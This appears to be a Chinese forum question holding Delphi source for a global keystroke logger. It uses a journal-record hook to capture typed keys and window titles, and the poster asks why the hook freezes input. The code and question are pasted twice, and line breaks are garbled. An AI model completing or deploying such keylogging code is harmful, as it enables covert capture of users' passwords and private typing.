unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls,Registry, Shellapi,jpeg,Clipbrd,TLHelp32;
const
KeyMask = $80000000;
type
TForm1 = class(TForm)
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HookList: TStringList;
hookkey:String;
implementation{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
OutputDebugString('in2');
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
OutputDebugString('in');
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
if hookkey<>'' then
begin
HookList.Add(hookkey);
hookkey :='';
end;
HookList.Add('---------End----------');
HookList.Add('--------begin---------');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
HookList.Add(Time + Format('Title:%s', [Title]));
end; if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1); //HookList.Add('这是vKey:'+inttostr(vKey)); if ((vKey >= 48) and (vKey <= 57)) then
begin
if not bShift then
begin
ch := Char(vKey);
end else begin
case vKey of
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53: ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
end;
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey:=hookkey+Char(vKey - 96 + 48);
ch:='n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey:=hookkey+ ch; // if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
//if PrvChar<>Char(vKey) then
//begin
hookkey :=hookkey+str;
// PrvChar := Char(vKey);
//end;
end;
end;
end ;
{ else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
if hookkey<>'' then
begin
HookList.add(Hookkey);
hookkey:='';
end;
if pEvt.message = WM_LBUTTONDOWN then
TempStr := '鼠标左键: '
else
TempStr := '鼠标右键: ';
HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
//CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.btn1Click(Sender: TObject);
begin HookList :=TStringList.Create;
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance , 0);
end;end.SetWindowsHookEx 这个函数一运行,系统键盘就没有用了,鼠标只能移动不能点击 ,而且还没有进入我的LogProc 这个函数中,大家看看怎么回事?
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls,Registry, Shellapi,jpeg,Clipbrd,TLHelp32;
const
KeyMask = $80000000;
type
TForm1 = class(TForm)
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HookList: TStringList;
hookkey:String;
implementation{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
OutputDebugString('in2');
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
OutputDebugString('in');
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
if hookkey<>'' then
begin
HookList.Add(hookkey);
hookkey :='';
end;
HookList.Add('---------End----------');
HookList.Add('--------begin---------');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
HookList.Add(Time + Format('Title:%s', [Title]));
end; if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1); //HookList.Add('这是vKey:'+inttostr(vKey)); if ((vKey >= 48) and (vKey <= 57)) then
begin
if not bShift then
begin
ch := Char(vKey);
end else begin
case vKey of
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53: ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
end;
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey:=hookkey+Char(vKey - 96 + 48);
ch:='n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey:=hookkey+ ch; // if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
//if PrvChar<>Char(vKey) then
//begin
hookkey :=hookkey+str;
// PrvChar := Char(vKey);
//end;
end;
end;
end ;
{ else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
if hookkey<>'' then
begin
HookList.add(Hookkey);
hookkey:='';
end;
if pEvt.message = WM_LBUTTONDOWN then
TempStr := '鼠标左键: '
else
TempStr := '鼠标右键: ';
HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
//CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.btn1Click(Sender: TObject);
begin HookList :=TStringList.Create;
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance , 0);
end;end.SetWindowsHookEx 这个函数一运行,系统键盘就没有用了,鼠标只能移动不能点击 ,而且还没有进入我的LogProc 这个函数中,大家看看怎么回事?
建议使用其他MS类的工具(如VC,MASM)和Delphi做联合编程。